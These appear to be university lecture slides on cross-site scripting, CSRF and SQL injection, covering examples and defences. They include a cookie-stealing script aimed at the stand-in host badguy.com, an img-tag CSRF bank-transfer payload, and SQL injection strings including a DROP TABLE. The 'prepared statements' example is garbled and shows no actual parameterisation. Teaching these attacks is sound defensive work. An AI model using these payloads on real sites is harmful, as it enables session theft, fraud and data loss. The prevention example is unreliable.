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CSCD 303Essential ComputerSecurityFall 2019
Lecture 18a – XSS, SQL Injection and CRSF
Reading: See links - End of Slides
Overview
• Idea of XSS, CSRF and SQL injection is to violate the security of the Web Browser/Server system
• Inject content on web pages that trick users or
• Inject content on web pages that trick web servers
• Result is stolen resources or destruction of information
Web Based Attacks
Application LayerAttacker sends attacks inside
valid HTTP requestsYour custom code is tricked
into doing something it should not
Security requires software development expertise, not signatures
Network LayerFirewall, hardening, patching,
IDS, and SSL cannot detect or stop attacks inside HTTP requests.
Security relies on signature databases
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Web Server
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Types of Web Attacks
• What kinds of Web attacks are popular?
• Inadequate validation of user input Named Attacks Below
– Cross site scripting, XSS
– Cross site request forgery, CSRF
– SQL Injection
Cross-site Scripting (XSS) • Cross-site scripting (XSS) computer security
vulnerability found in web applications
– “Allows code injection by malicious web users into web pages viewed by other users”
• Examples of such code include HTML code and client-side scripts
• An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as
Same Origin Policy for scripts
– As of 2017 cross-site scripting is among the top 10 web site problems
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project
Same Origin Policy Web Scripts, Recall ….
• Intent is to let users visit untrusted web sites without those web sites interfering with user's session with honest web sites
• Same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin
• Two pages have same origin if protocol, port, and host are identical
http://www.w3.org/Security/wiki/Same_Origin_Policy
URL being compared, http://store.company.com/
URL Outcome Reason
http://store.company.com/dir2/other.html Success
http://store.company.com/dir/inner/another.html Success https://store.company.com/secure.html Failure Different
protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host
Example Websites XSS’d• A hacker was able to insert JavaScript into Obama’s
community blog section– JavaScript would redirect users to Hillary Clinton’s website
http://www.crn.com/news/security/207401353/ obama-website-hacked-users-redirected-to-clinton-campaign.htm
• Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs
• List of websites XSS’d are here http://www.xssed.com/archive
• Example of XSS Attackhttp://www.acunetix.com/websitesecurity/xss/
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Cross Site Scripting (XSS)
• Recall …
– Scripts embedded in web pages run in browsers
– Scripts can access cookies • Get private information
– Manipulate page objects
• Controls what users see
– Scripts controlled by same-origin policy
• What vulnerability is XSS exploiting?
– Web applications take user inputs and use them as part of webpage, without validating user inputs
Types of Cross Site Scripting Attacks
The prime purpose of performing XSS attack is to steal other person’s identity. As mentioned, it may be cookies, session tokens, etc. XSS also may be used to display faked pages or forms for the victim
#1) Reflected XSS – This attack occurs, when a malicious script is not being saved on the web server but reflected in the website’s results.
#2) Stored XSS – This attack occurs when a malicious script is being saved on the web server permanently.
#3) DOM – This occurs, when the DOM environment is being changed, but the code remains the same.
Reflected XSS
This occurs when the malicious results are being returned after entering the malicious code. Reflected XSS code is not being saved permanently.
In this case, the malicious code is being reflected in any website result.
Stored XSS This attack can be considered riskier and it provides more
damage. In this type of attack, the malicious code or script is being
saved on the web server (for example, in the database) and executed every time when the users will call the appropriate functionality.
This way stored XSS attack can affect many users. We have a page where the latest user opinion is being loaded. Therefore, in the opinion or comment field would be typed with
the script as shown below, sent to all future users
<script>alert(document.cookie)</script>
DOM XSS All HTML documents have an associated DOM that consists of objects,
which represent document properties from the point of view of the browser.
When a client-side script is executed, it can use the DOM of the HTML page where the script runs.
The script can access various properties of the page and change their values
The most popular objects from this perspective are document.url, document.location, and document.referrer
Behavior is different from other XSS attacks (Stored or Reflected), where attack payload is contained in response page (due to a server side flaw)
Site has good example:
https://www.neuralegion.com/dom-xss-what-is-dom-based-cross-site-
scripting-and-how-can-you-prevent-it/
XSS Example • User input is echoed into HTML response
• Example: Search field– http://victim.com/search.php ? term = apple
search.php responds with this page:
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY> </HTML>
• Is this exploitable?
XSS ExampleAttacker’s Input
• Problem: No validation of input term • Consider this link: http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
• What if user clicks on this link?1. Browser goes to victim.com/search.php
2. Victim.com returns
<HTML> Results for <script> … </script>
Browser executes script:• Sends badguy.com cookie for victim.com
XSS Results of this Attack• Why would user click on a link?
– Phishing email in webmail client (e.g. gmail).– Link in doubleclick banner ad– … many, many ways to fool user into clicking
• What if badguy.com gets cookie for victim.com ?– Cookie can include session authentication for
victim.com• Or other data intended only for victim.com
Violates same origin policy
XSS Example
• There is a great site with many cut and paste opportunities to try this out
A complete How to for XSS:
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
Preventing XSS
• Escape all user input when it is displayed– Escaping converts the output to harmless html
entities• <script> becomes <script> • but still displayed as <script>
– Methods:• OWASP ESAPI• Java Standard Tag Library (JSTL) <c:out/>
OWASP XSS Prevention Cheat Sheet https://www.owasp.org/index.php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Preventing XSS
Code Reviews help catch coding flaws for XSS
Security Expert Coding Recommendationshttp://www.jtmelton.com/tag/cross-site-scripting/
.NET: use the Microsoft Anti-XSS Library http://msdn.microsoft.com/en-us/security/aa973814.aspx
XSS Prevention
Noscript Firefox Add-on• Noscript: JavaScript, Java, Flash Silverlight and possibly other executable contents are blocked by default
– Will be able to allow JavaScript/Java/... execution (scripts from now on) selectively, on the sites you trust
– Must first enable Javascript in Firefox
http://noscript.net/features
Cross Site Request Forgery
CSRF
What is Cross Site Request Forgery?Define it
Cross-Site Request Forgery (CSRF) is an attack that tricks victim into loading a page that contains a malicious request
It is malicious in the sense that it inherits identity and privileges of victim to perform an undesired function on the victim's behalf
• Change victim's e-mail address,
• Change home address, or
• Change password, or purchase
something
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Attacker sets the trap on some website on the internet(or simply via an e-mail)
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Vulnerable site sees legitimate request from victim and performs the action requested
<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site
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Hidden <img> tag contains attack against vulnerable site
Application with CSRF vulnerability
While logged into vulnerable site,victim views attacker site
Cross Site Request Forgery (CSRF)•C
Cross Site Request Forgery, also XSRF or Cross Site Reference Forgery– Works by exploiting trust of site for the user– In the case of XSS, the user is the victim– In the case of CSRF, the user is an accomplice.
Example: http://site/stocks?buy=100&stock=ebay– Allows specific actions to be performed when requested
If a user is logged into site and an attacker tricks their browser into making a request to one of these task urls, then task is performed for logged in user …
but the user didn’t intend to do it
Dangers of CSRF• Most of the functionality allowed by website can be
performed by an attacker utilizing CSRF
• What does this mean for victims?
– This could include
• Posting content to a message board,
• Subscribing to an online newsletter,
• Performing stock trades, using a shopping cart, or
• Even sending an e-card
CSRF More Details• The most popular ways to execute CSRF
attacks
• Using a HTML image tag, or JavaScript image object– An attacker will embed these into an email or
website so when user loads page or email, they perform a web request to any URL of attackers liking
• Examples follow
CSRF Code Examples• HTML Methods
IMG SRC <img src="http://host/?command">
SCRIPT SRC <script src="http://host/?command">
IFRAME SRC <iframe src="http://host/?command">
• JavaScript Methods
'Image' Object <script> var foo = new Image(); foo.src = "http://host/?command"; </script>
Another CSRF Example
• Say, online banking site performs a transfer of funds action by calling a URL such as:
http://bigsafebank.com/ transfer.do?acct=ATTACKER&amount=1000
– This URL will transfer $1000 from a victim’s account into the attacker’s account if the victim is logged into their account within BigSafeBank website
CSRF Example Continued• Attacker must fool victim into clicking link and
executing malicious action
• Attacker can create an HTML email with a tag such as:
<img src="http://bigsafebank.com/transfer.do?acct=ATTACKER&amount=1000" width="1" height="1" border="0">
• When a victim views this HTML email,
• Will see an error indicating that image could not be loaded,
• But browser still submits transfer request to bigsafebank.com without requiring any further interaction from the user
CSRF Example
• Crazy part is … Even though the image was rendered unsuccessfully,
• Using <img> tag, an automatic http request was made that contained the victim's credentials,
• Ie. Session Cookie
• Allowing the server to perform the malicious action
CSRF Why Does it Happen
• A web application's vulnerability to CSRF is due to the following conditions:
– The use of certain HTML tags will result in automatic HTTP Request execution.
– Our browsers have no way of telling if a resource referenced by an <img> tag is a legitimate image
– The loading of an image will happen regardless of where that image is located.
CSRF Why Does it Happen
• More reasons why ...– Code within web application performs security
sensitive operations in response to requests without validation of user
– GET requests are especially vulnerable to this type of attack, but POST requests are not immune
Fixing CSRF with CSRF Guard
http://www.owasp.org/index.php/How_CSRFGuard_Works
• The Open Web Application Security Project (OWASP)• Developed a tool, CSRF Guard to implement session-token idea to thwart CSRF attacks• When user first visits site, application will generate and store a session specific unique request token• This session specific unique request token is then placed in each form and link of HTML response, ensuring that this value will be submitted with the next request• For each subsequent request, application must verify existence of unique token parameter and compare its value to that of value stored in user's session
SQL Injection
SQL Injection
• Very Common vulnerability (~71 attacks/hour )
• Exploits Web apps Use Databases– Poorly validate user input for SQL string literal escape
characters, e.g., '– Do not have strongly screened user input
• Example – escape characters"SELECT * FROM users WHERE name = '" + userName + "';"
• If userName is set to ' or '1'='1, the resulting SQL is SELECT * FROM users WHERE name = '' OR '1'='1';
• This evaluates to SELECT * FROM users ⇒ displays all users
SQL Injection
• Example – Select statement
"SELECT * FROM userinfo WHERE id = " + a_variable + ";"
– If programmer doesn’t check a_variable is a number, attacker can set
a_variable = 1; DROP TABLE users
– SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP
TABLE users; – Result of this query?– Users table is deleted
Impact of SQL Injection - Dangerous
• At best: you can leak information• Depending on your configuration,
a hacker can– Delete, alter or create data– Grant direct access to the hacker– Escalate privileges and even take over the OS
Preventing SQL injection
• Use Prepared Statements– $id=1234– “select * from accounts where id = “ + $idNext one is safer – More exact– “select * from accounts where id =1234”
• Validate input– Strong typing
• If the id parameter is a number, try parsing it into an integer– Business logic validation
• Escape questionable characters– ticks, --, semi-colon, brackets
OWASP Cheat sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Summary
• Experts suggest,– Internet Security model is completely flawed
– Made worse by Web 2.0
– As developers … we can at least ensure our code is not broken
– As users … we have far less control
– Browser security !!!!
References• CSRF Links
– CGI FAQ on Cross Site Request Forgery (CSRF) http://www.cgisecurity.com/articles/csrf-faq.shtml
– Art of Software Security Assessment – Same Origin http://taossa.com/index.php/2007/02/08/same-origin-policy/
– OWASP CSRF Sitehttp://www.owasp.org/index.php/CSRF
– MSDN Article on CSRF Explainedhttp://msdn.microsoft.com/en-us/testing/cc664492.aspx
– Wikipediahttp://en.wikipedia.org/wiki/Cross-
site_request_forgery
References
XSS
http://www.cgisecurity.com/articles/xss-faq.shtml
http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html
http://www.cgisecurity.com/articles/xss-faq.shtml
http://msdn.microsoft.com/en-us/testing/cc664492.aspxhttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
References
SQL Injection Cheat Sheethttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
SQL Preventionhttp://www.marcofolio.net/features/how_you_can_prevent_an_sql_in
jection.html
SQL Attacks from UnixWizhttp://www.unixwiz.net/techtips/sql-injection.html
OWASP SQL Injectionhttps://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_
Sheet
End
Lab this week,XSS and CSRF and SQL Injection